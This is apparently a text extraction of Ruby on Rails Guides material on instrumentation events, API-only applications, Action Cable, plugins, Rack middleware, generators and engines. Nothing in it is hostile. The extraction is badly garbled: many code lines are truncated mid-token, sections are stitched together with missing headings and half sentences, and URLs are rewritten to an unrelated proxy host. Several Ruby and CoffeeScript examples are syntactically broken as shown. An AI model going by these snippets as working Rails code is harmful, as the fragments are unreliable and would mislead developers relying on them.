path: "/posts/new"
}
3.8 process_action.action_controller
Key
Value
{
controller: "PostsController",
action: "index",
params: {"action" => "index", "controller" => "posts"},
headers: #<ActionDispatch::Http::Headers:0x0055a67a519b88>,
format: :html,
method: "GET",
path: "/posts",
status: 200,
view_runtime: 46.848,
db_runtime: 0.157
}
3.9 send_file.action_controller
Key
Value
:path Complete path to the file
Additional keys may be added by the caller.
3.10 send_data.action_controller
ActionController does not had any specific information to the payload.
Value
:status HTTP response code
:location URL to redirect to
{
status: 302,
location: "http://localhost:3000/posts/new"
}
3.12 halted_callback.action_controller
Key
Value
:filter Filter that halted the action
{
filter: ":halting_filter"
}
4 Action View
4.1 render_template.action_view
Key
Value
:identifier Full path to template
:layout
Applicable layout
{
identifier: "/Users/adam/projects/notifications/app/views/post
layout: "layouts/application"
}
4.2 render_partial.action_view
Key
Value
:identifier Full path to template
{
identifier: "/Users/adam/projects/notifications/app/views/post
}
5 Active Record
5.1 sql.active_record
Key
:sql
:name
Value
SQL statement
Name of the operation
:connection_id self.object_id
:binds
Bind parameters
5.2 instantiation.active_record
Key
Value
:record_count Number of records that instantiated
:class_name Record's class
{
record_count: 1,
class_name: "User"
}
6 Action Mailer
6.1 receive.action_mailer
Key
Value
:mailer
Name of the mailer class
:message_id ID of the message, generated by the Mail gem
:subject
Subject of the mail
:to
To address(es) of the mail
:from
From address of the mail
:bcc
BCC addresses of the mail
:cc
CC addresses of the mail
:date
Date of the mail
:mail
The encoded form of the mail
{
mailer: "Notification",
message_id: "[email protected]
subject: "Rails Guides",
to: ["[email protected]", "[email protected]"],
from: ["[email protected]"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
}
6.2 deliver.action_mailer
Key
Value
:mailer
Name of the mailer class
:message_id ID of the message, generated by the Mail gem
:subject
Subject of the mail
:to
To address(es) of the mail
:from
:bcc
:cc
:date
:mail
{
mailer: "Notification",
message_id: "[email protected]
subject: "Rails Guides",
to: ["[email protected]", "[email protected]"],
from: ["[email protected]"],
date: Sat, 10 Mar 2012 14:18:09 +0100,
mail: "..." # omitted for brevity
}
7 Active Support
7.1 cache_read.active_support
Key
Value
:key
Key used in the store
:hit
If this read is a hit
:super_operation :fetch is added when a read is used with #fetch
7.2 cache_generate.active_support
This event is only used when #fetch is called with a block.
Key
Value
:key Key used in the store
Options passed to fetch will be merged with the payload when writing to
the store
{
key: 'name-of-complicated-computation'
}
7.3 cache_fetch_hit.active_support
This event is only used when #fetch is called with a block.
Key
Value
:key Key used in the store
Options passed to fetch will be merged with the payload.
{
key: 'name-of-complicated-computation'
}
7.4 cache_write.active_support
Key
Value
:key Key used in the store
Cache stores may add their own keys
{
key: 'name-of-complicated-computation'
}
7.5 cache_delete.active_support
Key
Value
:key Key used in the store
{
key: 'name-of-complicated-computation'
}
7.6 cache_exist?.active_support
Key
Value
:key Key used in the store
{
key: 'name-of-complicated-computation'
}
8 Active Job
8.1 enqueue_at.active_job
Key
Value
:adapter QueueAdapter object processing the job
:job
Job object
8.2 enqueue.active_job
Key
Value
:adapter QueueAdapter object processing the job
:job
Job object
8.3 perform_start.active_job
Key
Value
:adapter QueueAdapter object processing the job
:job
Job object
8.4 perform.active_job
Key
Value
:adapter QueueAdapter object processing the job
:job
Job object
9 Railties
9.1 load_config_initializer.railties
Key
Value
:initializer Path to loaded initializer from config/initializers
10 Rails
10.1 deprecation.rails
Key
Value
:message The deprecation warning
:callstack Where the deprecation came from
11 Subscribing to an event
Subscribing to an event is easy. Use
ActiveSupport::Notifications.subscribe with a block to listen to any
notification.
The block receives the following arguments:
The name of the event
Time when it started
Time when it finished
A unique ID for this event
The payload (described in previous sections)
ActiveSupport::Notifications.subscribe "process_action.action_co
# your own custom stuff
Rails.logger.info "#{name} Received!"
end
Defining all those block arguments each time can be tedious. You can
easily create an ActiveSupport::Notifications::Event from block
arguments like this:
ActiveSupport::Notifications.subscribe "process_action.action_co
event = ActiveSupport::Notifications::Event.new *args
event.name # => "process_action.action_controller"
event.duration # => 10 (in milliseconds)
event.payload # => {:extra=>information}
Rails.logger.info "#{event} Received!"
end
Most times you only care about the data itself. Here is a shortcut to just get
the data.
ActiveSupport::Notifications.subscribe "process_action.action_co
data = args.extract_options!
data # { extra: :information }
end
ActiveSupport::Notifications.subscribe /action_controller/ do |*
# inspect all ActionController events
end
You should follow Rails conventions when defining your own events. The
format is: event.library. If you application is sending Tweets, you
should create an event named tweet.twitter.
In config/environments/development.rb, set
config.debug_exception_response_format to configure the format used
in responses when errors occur in development mode.
To render an HTML page with debugging information, use the value
:default.
config.debug_exception_response_format = :default
do:
class ApplicationController < ActionController::API
end
4 Choosing Middleware
An API application comes with the following middleware by default:
Rack::Sendfile
ActionDispatch::Static
ActionDispatch::Executor
ActiveSupport::Cache::Strategy::LocalCache::Middleware
Rack::Runtime
ActionDispatch::RequestId
Rails::Rack::Logger
ActionDispatch::ShowExceptions
ActionDispatch::DebugExceptions
ActionDispatch::RemoteIp
ActionDispatch::Reloader
ActionDispatch::Callbacks
Rack::Head
Rack::ConditionalGet
Rack::ETag
See the internal middleware section of the Rack guide for further
information on them.
Other plugins, including Active Record, may add additional middleware.
In general, these middleware are agnostic to the type of application you are
building, and make sense in an API-only Rails application.
You can get a list of all middleware in your application via:
$ rails middleware
By default, Rails will add a middleware that provides a cache store based
on the configuration of your application (memcache by default). This
means that the built-in HTTP cache will rely on it.
For instance, using the stale? method:
def show
@post = Post.find(params[:id])
if stale?(last_modified: @post.updated_at)
render json: @post
end
end
This means that the cache middleware will store off the Last-Modified
value for a URL in the Rails cache, and add an If-Modified-Since header
to any subsequent inbound requests for the same URL.
Make sure to configure your server to support these options following the
instructions in the Rack::Sendfile documentation.
4.3 Using ActionDispatch::Request
ActionDispatch::Request#params will take parameters from the client in
the JSON format and make them available in your controller inside
params.
To use this, your client will need to make a request with JSON-encoded
parameters and specify the Content-Type as application/json.
Here's an example in jQuery:
jQuery.ajax({
type: 'POST',
url: '/people',
dataType: 'json',
contentType: 'application/json',
data: JSON.stringify({ person: { firstName: "Yehuda", lastName
success: function(json) { }
});
Keep in mind that removing these middleware will remove support for
certain features in Action Controller.
available.
ActionController::Redirecting: Support for redirect_to.
AbstractController::Rendering and
ActionController::ApiRendering: Basic support for rendering.
ActionController::Renderers::All: Support for render :json
and friends.
ActionController::ConditionalGet: Support for stale?.
ActionController::BasicImplicitRender: Makes sure to return an
support for signed and encrypted cookies. This requires the cookies
middleware.
The best place to add a module is in your ApplicationController, but
you can also add modules to individual controllers.
1 Introduction
Action Cable seamlessly integrates WebSockets with the rest of your Rails
application. It allows for real-time features to be written in Ruby in the
same style and form as the rest of your Rails application, while still being
performant and scalable. It's a full-stack offering that provides both a
client-side JavaScript framework and a server-side Ruby framework. You
have access to your full domain model written with Active Record or your
ORM of choice.
2 What is Pub/Sub
Pub/Sub, or Publish-Subscribe, refers to a message queue paradigm
whereby senders of information (publishers), send data to an abstract class
of recipients (subscribers), without specifying individual recipients. Action
Cable uses this approach to communicate between the server and many
clients.
3 Server-Side Components
3.1 Connections
Connections form the foundation of the client-server relationship. For
every WebSocket accepted by the server, a connection object is
instantiated. This object becomes the parent of all the channel
subscriptions that are created from there on. The connection itself does not
deal with any specific application logic beyond authentication and
authorization. The client of a WebSocket connection is called the
connection consumer. An individual user will create one consumerconnection pair per browser tab, window, or device they have open.
Connections are instances of ApplicationCable::Connection. In this
class, you authorize the incoming connection, and proceed to establish it if
the user can be identified.
3.1.1 Connection Setup
# app/channels/application_cable/connection.rb
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user
def connect
self.current_user = find_verified_user
end
protected
def find_verified_user
if current_user = User.find_by(id: cookies.signed[:user_
current_user
else
reject_unauthorized_connection
end
end
end
end
# app/channels/application_cable/channel.rb
module ApplicationCable
class Channel < ActionCable::Channel::Base
end
end
Then you would create your own channel classes. For example, you could
have a ChatChannel and an AppearanceChannel:
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
end
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
end
4 Client-Side Components
4.1 Connections
Consumers require an instance of the connection on their side. This can be
established using the following JavaScript, which is generated by default
by Rails:
4.1.1 Connect Consumer
// app/assets/javascripts/cable.js
//= require action_cable
//= require_self
//= require_tree ./channels
(function() {
this.App || (this.App = {});
App.cable = ActionCable.createConsumer();
}).call(this);
This will ready a consumer that'll connect against /cable on your server
by default. The connection won't be established until you've also specified
at least one subscription you're interested in having.
4.1.2 Subscriber
# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "
# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create { channel: "AppearanceChannel" }
5 Client-Server Interactions
5.1 Streams
Streams provide the mechanism by which channels route published
content (broadcasts) to their subscribers.
# app/channels/chat_channel.rb
class ChatChannel < ApplicationCable::Channel
def subscribed
stream_from "chat_#{params[:room]}"
end
end
If you have a stream that is related to a model, then the broadcasting used
can be generated from the model and channel. The following example
would subscribe to a broadcasting like
comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE
class CommentsChannel < ApplicationCable::Channel
def subscribed
post = Post.find(params[:id])
stream_for post
end
end
5.2 Broadcasting
A broadcasting is a pub/sub link where anything transmitted by a
publisher is routed directly to the channel subscribers who are streaming
that named broadcasting. Each channel can be streaming zero or more
broadcastings.
Broadcastings are purely an online queue and time dependent. If a
consumer is not streaming (subscribed to a given channel), they'll not get
the broadcast should they connect later.
Broadcasts are called elsewhere in your Rails application:
WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)
# app/assets/javascripts/cable/subscriptions/chat.coffee
# Assumes you've already requested the right to send web notific
App.cable.subscriptions.create { channel: "ChatChannel", room: "
received: (data) ->
@appendLine(data)
# app/assets/javascripts/cable/subscriptions/chat.coffee
App.cable.subscriptions.create { channel: "ChatChannel", room: "
received: (data) ->
@appendLine(data)
appendLine: (data) ->
html = @createLine(data)
$("[data-chat-room='Best Room']").append(html)
createLine: (data) ->
"""
<article class="chat-line">
<span class="speaker">#{data["sent_by"]}</span>
<span class="body">#{data["body"]}</span>
</article>
"""
# Somewhere in your app this is called, perhaps
# from a NewCommentJob.
ChatChannel.broadcast_to(
"chat_#{room}",
sent_by: 'Paul',
body: 'This is a cool chat app.'
)
# app/assets/javascripts/cable/subscriptions/chat.coffee
App.chatChannel = App.cable.subscriptions.create { channel: "Cha
received: (data) ->
# data => { sent_by: "Paul", body: "This is a cool chat app.
client that sent the message. Note that params are the same as they were
when you subscribed to the channel.
6 Full-Stack Examples
The following setup steps are common to both examples:
1. Setup your connection.
2. Setup your parent channel.
3. Connect your consumer.
6.1 Example 1: User Appearances
Here's a simple example of a channel that tracks whether a user is online
or not and what page they're on. (This is useful for creating presence
features like showing a green dot next to a user name if they're online).
Create the server-side appearance channel:
# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
def subscribed
current_user.appear
end
def unsubscribed
current_user.disappear
end
def appear(data)
current_user.appear(on: data['appearing_on'])
end
def away
current_user.away
end
end
# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create "AppearanceChannel",
# Called when the subscription is ready for use on the server.
connected: ->
@install()
@appear()
# Called when the WebSocket connection is closed.
disconnected: ->
@uninstall()
# Called when the subscription is rejected by the server.
rejected: ->
@uninstall()
appear: ->
# Calls `AppearanceChannel#appear(data)` on the server.
@perform("appear", appearing_on: $("main").data("appearing-o
away: ->
# Calls `AppearanceChannel#away` on the server.
@perform("away")
buttonSelector = "[data-behavior~=appear_away]"
install: ->
$(document).on "page:change.appearance", =>
@appear()
$(document).on "click.appearance", buttonSelector, =>
@away()
false
$(buttonSelector).show()
uninstall: ->
$(document).off(".appearance")
$(buttonSelector).hide()
6.1.1 Client-Server Interaction
# app/assets/javascripts/cable/subscriptions/web_notifications.c
# Client-side which assumes you've already requested
# the right to send web notifications.
App.cable.subscriptions.create "WebNotificationsChannel",
received: (data) ->
new Notification data["title"], body: data["body"]
7 Configuration
Action Cable has two required configurations: a subscription adapter and
allowed request origins.
7.1 Subscription Adapter
By default, Action Cable looks for a configuration file in
config/cable.yml. The file must specify an adapter and a URL for each
Rails environment. See the Dependencies section for additional
information on adapters.
development:
adapter: async
test:
adapter: async
production:
adapter: redis
url: redis://10.10.3.153:6381
config.action_cable.allowed_request_origins = ['http://rubyonrai
9 Dependencies
Action Cable provides a subscription adapter interface to process its
pubsub internals. By default, asynchronous, inline, PostgreSQL, evented
Redis, and non-evented Redis adapters are included. The default adapter in
new Rails applications is the asynchronous (async) adapter.
The Ruby side of things is built on top of websocket-driver, nio4r, and
concurrent-ruby.
10 Deployment
Action Cable is powered by a combination of WebSockets and threads.
Both the framework plumbing and user-specified channel work are
handled internally by utilizing Ruby's native thread support. This means
you can use all your regular Rails models with no problem, as long as you
haven't committed any thread-safety sins.
The Action Cable server implements the Rack socket hijacking API,
thereby allowing the use of a multithreaded pattern for managing
connections internally, irrespective of whether the application server is
multi-threaded or not.
Accordingly, Action Cable works with popular servers like Unicorn,
Puma, and Passenger.
1 Setup
Currently, Rails plugins are built as gems, gemified plugins. They can be
shared across different rails applications using RubyGems and Bundler if
desired.
1.1 Generate a gemified plugin.
Rails ships with a rails plugin new command which creates a skeleton
for developing any kind of Rails extension with the ability to run
integration tests using a dummy Rails application. Create your plugin with
the command:
$ rails plugin new yaffle
This will tell you that everything got generated properly and you are ready
to start adding functionality.
Run bin/test to run the test. This test should fail because we haven't
implemented the to_squawk method:
E
Error:
CoreExtTest#test_to_squawk_prepends_the_word_squawk:
NoMethodError: undefined method `to_squawk' for "Hello World":St
bin/test /path/to/yaffle/test/core_ext_test.rb:4
.
Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
Finally, create the core_ext.rb file and add the to_squawk method:
# yaffle/lib/yaffle/core_ext.rb
String.class_eval do
def to_squawk
"squawk! #{self}".strip
end
end
To test that your method does what it says it does, run the unit tests with
bin/test from your plugin directory.
2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
method on their model named last_squawk that they use for something
else. This plugin will allow the name to be changed by adding a class
method called yaffle_text_field.
To start out, write a failing test that shows the behavior you'd like:
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end
def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end
end
Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_la
NameError: uninitialized constant ActsAsYaffleTest::Wickwall
bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
E
Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_la
NameError: uninitialized constant ActsAsYaffleTest::Hickwall
bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
This tells us that we don't have the necessary models (Hickwall and
Wickwall) that we are trying to test. We can easily generate these models
in our "dummy" Rails application by running the following commands
from the test/dummy directory:
$ cd test/dummy
$ bin/rails generate model Hickwall last_squawk:string
$ bin/rails generate model Wickwall last_squawk:string last_twee
Now you can create the necessary database tables in your testing database
by navigating to your dummy app and migrating the database. First, run:
$ cd test/dummy
$ bin/rails db:migrate
While you are here, change the Hickwall and Wickwall models so that
they know that they are supposed to act like yaffles.
# test/dummy/app/models/hickwall.rb
class Hickwall < ApplicationRecord
acts_as_yaffle
end
# test/dummy/app/models/wickwall.rb
class Wickwall < ApplicationRecord
acts_as_yaffle yaffle_text_field: :last_tweet
end
You can then return to the root directory (cd ../..) of your plugin and
rerun the tests using bin/test.
# Running:
.E
Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_la
NoMethodError: undefined method `yaffle_text_field' for #<Class:
bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
E
Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_la
NoMethodError: undefined method `yaffle_text_field' for #<Class:
bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
.
Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.
4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] ||
end
end
end
end
# test/dummy/app/models/application_record.rb
class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle
self.abstract_class = true
end
When you run bin/test, you should see the tests all pass:
4 runs, 4 assertions, 0 failures, 0 errors, 0 skips
Run the test to make sure the last two tests fail with an error that contains
"NoMethodError: undefined method `squawk'", then update
'acts_as_yaffle.rb' to look like this:
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
included do
end
module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] ||
include Yaffle::ActsAsYaffle::LocalInstanceMethods
end
end
module LocalInstanceMethods
def squawk(string)
write_attribute(self.class.yaffle_text_field, string.to_
end
end
end
end
# test/dummy/app/models/application_record.rb
class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle
self.abstract_class = true
end
5 Generators
Generators can be included in your gem simply by creating them in a
lib/generators directory of your plugin. More information about the
creation of generators can be found in the Generators Guide
7 RDoc Documentation
Once your plugin is stable and you are ready to deploy, do everyone else a
favor and document it! Luckily, writing documentation for your plugin is
easy.
The first step is to update the README file with detailed information
about how to use your plugin. A few key things to include are:
Your name
How to install
How to add the functionality to the app (several examples of common
use cases)
Warnings, gotchas or tips that might help users and save them time
Once your README is solid, go through and add rdoc comments to all of
the methods that developers will use. It's also customary to add '#:nodoc:'
comments to those parts of the code that are not included in the public
API.
Once your comments are good to go, navigate to your plugin directory and
run:
$ bundle exec rake rdoc
7.1 References
Developing a RubyGem using Bundler
Using .gemspecs as Intended
Gemspec Reference
1 Introduction to Rack
Rack provides a minimal, modular and adaptable interface for developing
web applications in Ruby. By wrapping HTTP requests and responses in
the simplest way possible, it unifies and distills the API for web servers,
web frameworks, and software in between (the so-called middleware) into
a single method call.
Rack API Documentation
Explaining Rack is not really in the scope of this guide. In case you are not
familiar with Rack's basics, you should check out the Resources section
below.
2 Rails on Rack
2.1 Rails Application's Rack Object
Rails.application is the primary Rack application object of a Rails
2.3 rackup
To use rackup instead of Rails' rails server, you can put the following
Rails' requirements.
3.1 Inspecting Middleware Stack
Rails has a handy task for inspecting the middleware stack in use:
$ bin/rails middleware
use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x0
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
run Rails.application.routes
The default middlewares shown here (and some others) are each
summarized in the Internal Middlewares section, below.
3.2 Configuring Middleware Stack
Rails provides a simple configuration interface config.middleware for
adding, removing and modifying the middlewares in the middleware stack
via application.rb or the environment specific configuration file
environments/<environment>.rb.
3.2.1 Adding a Middleware
You can add a new middleware to the middleware stack using any of the
following methods:
config.middleware.use(new_middleware, args) - Adds the new
And now if you inspect the middleware stack, you'll find that
Rack::Runtime is not a part of it.
$ bin/rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x0
use Rack::Runtime
...
run Rails.application.routes
config.middleware.delete ActionDispatch::Session::CookieStore
config.middleware.delete ActionDispatch::Flash
Rack::Runtime
Notifies the logs that the request has began. After request is complete,
flushes all the logs.
ActionDispatch::ShowExceptions
pending.
ActiveRecord::ConnectionAdapters::ConnectionManagement
Adds ETag header on all String bodies. ETags are used to validate
cache.
It's possible to use any of the above middlewares in your custom Rack
stack.
4 Resources
4.1 Learning Rack
Official Rack Website
Introducing Rack
4.2 Understanding Middlewares
Railscast on Rack Middlewares
1 First Contact
When you create an application using the rails command, you are in fact
using a Rails generator. After that, you can get a list of all available
generators by just invoking rails generate:
$ rails new myapp
$ cd myapp
$ bin/rails generate
You will get a list of all generators that comes with Rails. If you need a
detailed description of the helper generator, for example, you can simply
do:
$ bin/rails generate helper --help
documentation
Our new generator is quite simple: it inherits from
Rails::Generators::Base and has one method definition. When a
generator is invoked, each public method in the generator is executed
sequentially in the order that it is defined. Finally, we invoke the
create_file method that will create a file at the given destination with the
given content. If you are familiar with the Rails Application Templates
API, you'll feel right at home with the new generators API.
To invoke our new generator, we just need to do:
$ bin/rails generate initializer
Now we can see the new description by invoking --help on the new
generator. The second way to add a description is by creating a file named
USAGE in the same directory as our generator. We are going to do that in
the next step.
We can also see that our new generator has a class method called
source_root. This method points to where our generator templates will be
placed, if any, and by default it points to the created directory
lib/generators/initializer/templates.
In order to understand what a generator template means, let's create the file
following content:
# Add initialization content here
And now let's change the generator to copy this template when invoked:
class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name
end
end
4 Generators Lookup
When you run rails generate initializer core_extensions Rails
requires these files in turn until one is found:
rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb
Before we customize our workflow, let's first see what our scaffold looks
like:
$ bin/rails generate scaffold User name:string
invoke active_record
create db/migrate/20130924151154_create_users.rb
create app/models/user.rb
invoke test_unit
create test/models/user_test.rb
create test/fixtures/users.yml
invoke resource_route
route resources :users
invoke scaffold_controller
create app/controllers/users_controller.rb
invoke erb
create app/views/users
create app/views/users/index.html.erb
create app/views/users/edit.html.erb
create app/views/users/show.html.erb
create app/views/users/new.html.erb
create app/views/users/_form.html.erb
invoke test_unit
create test/controllers/users_controller_test.rb
invoke helper
create app/helpers/users_helper.rb
invoke jbuilder
create app/views/users/index.json.jbuilder
create app/views/users/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/users.coffee
invoke scss
create app/assets/stylesheets/users.scss
invoke scss
create app/assets/stylesheets/scaffolds.scss
After that, we can delete both the templates directory and the
source_root class method call from our new generator, because we are
not going to need them. Add the method below, so our generator looks like
the following:
# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
end
We can try out our new generator by creating a helper for products:
$ bin/rails generate my_helper products
create app/helpers/products_helper.rb
Which is what we expected. We can now tell scaffold to use our new
helper generator by editing config/application.rb once again:
config.generators do |g|
g.orm :active_record
g.template_engine :erb
g.test_framework :test_unit, fixture: false
g.stylesheets false
g.javascripts false
g.helper :my_helper
end
We can notice on the output that our new helper was invoked instead of
the Rails default. However one thing is missing, which is tests for our new
generator and to do that, we are going to reuse old helpers test generators.
Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper
does not need to be focused in one specific test framework, it can simply
provide a hook and a test framework just needs to implement this hook in
order to be compatible.
To do that, we can change the generator this way:
# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
hook_for :test_framework
end
And now you can re-run scaffold for another resource and see it generating
tests as well!
If you generate another resource, you can see that we get exactly the same
result! This is useful if you want to customize your scaffold templates
and/or layout by just creating edit.html.erb, index.html.erb and so on
inside lib/templates/erb/scaffold.
Scaffold templates in Rails frequently use ERB tags; these tags need to be
Now, if you create a Comment scaffold, you will see that the shoulda
generators are being invoked, and at the end, they are just falling back to
TestUnit generators:
$ bin/rails generate scaffold Comment body:text
invoke active_record
create db/migrate/20130924143118_create_comments.rb
create app/models/comment.rb
invoke shoulda
create test/models/comment_test.rb
create test/fixtures/comments.yml
invoke resource_route
route resources :comments
invoke scaffold_controller
create app/controllers/comments_controller.rb
invoke erb
create app/views/comments
create app/views/comments/index.html.erb
create app/views/comments/edit.html.erb
create app/views/comments/show.html.erb
create app/views/comments/new.html.erb
create app/views/comments/_form.html.erb
invoke shoulda
create test/controllers/comments_controller_test.rb
invoke my_helper
create app/helpers/comments_helper.rb
invoke jbuilder
create app/views/comments/index.json.jbuilder
create app/views/comments/show.json.jbuilder
invoke assets
invoke coffee
create app/assets/javascripts/comments.coffee
invoke scss
8 Application Templates
Now that you've seen how generators can be used inside an application,
did you know they can also be used to generate applications too? This
kind of generator is referred as a "template". This is a brief overview of the
Templates API. For detailed documentation see the Rails Application
Templates guide.
gem "rspec-rails", group: "test"
gem "cucumber-rails", group: "test"
In the above template we specify that the application relies on the rspecrails and cucumber-rails gem so these two will be added to the test
group in the Gemfile. Then we pose a question to the user about whether
or not they would like to install Devise. If the user replies "y" or "yes" to
this question, then the template will add Devise to the Gemfile outside of
any group and then runs the devise:install generator. This template then
takes the users input and runs the devise generator, with the user's answer
from the last question being passed to this generator.
Imagine that this template was in a file called template.rb. We can use it
to modify the outcome of the rails new command by using the -m option
and passing in the filename:
$ rails new thud -m template.rb
This command will generate the Thud application, and then apply the
Whilst the final section of this guide doesn't cover how to generate the
most awesome template known to man, it will take you through the
methods available at your disposal so that you can develop it yourself.
These same methods are also available for generators.
9 Generator methods
The following are methods available for both generators and templates for
Rails.
Methods provided by Thor are not covered this guide and can be found in
Thor's documentation
9.1 gem
Specifies a gem dependency of the application.
gem "rspec", group: "test", version: "2.1.0"
gem "devise", "1.1.5"
The above code will put the following line into Gemfile:
9.2 gem_group
Wraps gem entries inside a group:
9.3 add_source
Adds a specified source to Gemfile:
add_source "http://gems.github.com"
9.4 inject_into_file
Injects a block of code into a defined position in your file.
9.5 gsub_file
Replaces text inside a file.
Regular Expressions can be used to make this method more precise. You
can also use append_file and prepend_file in the same way to place
wish to use this option with the block syntax the recommended syntax
is as follows:
application(nil, env: "development") do
"config.asset_host = 'http://localhost:3000'"
end
9.7 git
Runs the specified git command:
git :init
git add: "."
git commit: "-m First commit!"
git add: "onefile.rb", rm: "badfile.cxx"
The values of the hash here being the arguments or options passed to the
specific git command. As per the final example shown here, multiple git
commands can be specified at a time, but the order of their running is not
guaranteed to be the same as the order that they were specified in.
9.8 vendor
Places a file into vendor which contains the specified code.
vendor "sekrit.rb", '#top secret stuff'
9.9 lib
Places a file into lib which contains the specified code.
lib "special.rb", "p Rails.root"
9.10 rakefile
Creates a Rake file in the lib/tasks directory of the application.
9.11 initializer
Creates an initializer in the config/initializers directory of the
application:
initializer "begin.rb", "puts 'this is the beginning'"
9.12 generate
Runs the specified generator where the first argument is the generator
name and the remaining arguments are passed directly to the generator.
generate "scaffold", "forums title:string description:text"
9.13 rake
9.14 capify!
Runs the capify command from Capistrano at the root of the application
which generates Capistrano configuration.
capify!
9.15 route
Adds text to the config/routes.rb file:
route "resources :people"
9.16 readme
Output the contents of a file in the template's source_path, usually a
README.
readme "README"
always take precedence over its engines. An application is the object that
has final say in what goes on in its environment. The engine should only
be enhancing it, rather than changing it drastically.
To see demonstrations of other engines, check out Devise, an engine that
provides authentication for its parent applications, or Forem, an engine that
provides forum functionality. There's also Spree which provides an ecommerce platform, and RefineryCMS, a CMS engine.
Finally, engines would not have been possible without the work of James
Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people.
If you ever meet them, don't forget to say thanks!
2 Generating an engine
To generate an engine, you will need to run the plugin generator and pass
it options as appropriate to the need. For the "blorgh" example, you will
need to create a "mountable" engine, running this command in a terminal:
$ rails plugin new blorgh --mountable
The full list of options for the plugin generator may be seen by typing:
$ rails plugin --help
The --mountable option tells the generator that you want to create a
"mountable" and namespace-isolated engine. This generator will provide
the same skeleton structure as would the --full option. The --full option
tells the generator that you want to create an engine, including a skeleton
structure that provides the following:
An app directory tree
A config/routes.rb file:
Rails.application.routes.draw do
end
Some engines choose to use this file to put global configuration options for
their engine. It's a relatively good idea, so if you want to offer
configuration options, the file where your engine's module is defined is
perfect for that. Place the methods inside the module and you'll be good to
go.
Within lib/blorgh/engine.rb is the base class for the engine:
module Blorgh
class Engine < ::Rails::Engine
isolate_namespace Blorgh
end
end
By inheriting from the Rails::Engine class, this gem notifies Rails that
there's an engine at the specified path, and will correctly mount the engine
inside the application, performing tasks such as adding the app directory of
the engine to the load path for models, mailers, controllers and views.
The isolate_namespace method here deserves special notice. This call is
responsible for isolating the controllers, models, routes and other things
into their own namespace, away from similar components inside the
application. Without this, there is a possibility that the engine's
components could "leak" into the application, causing unwanted
Inside the app directory are the standard assets, controllers, helpers,
mailers, models and views directories that you should be familiar with
from an application. The helpers, mailers and models directories are
empty, so they aren't described in this section. We'll look more into models
in a future section, when we're writing the engine.
Within the app/assets directory, there are the images, javascripts and
stylesheets directories which, again, you should be familiar with due to
their similarity to an application. One difference here, however, is that
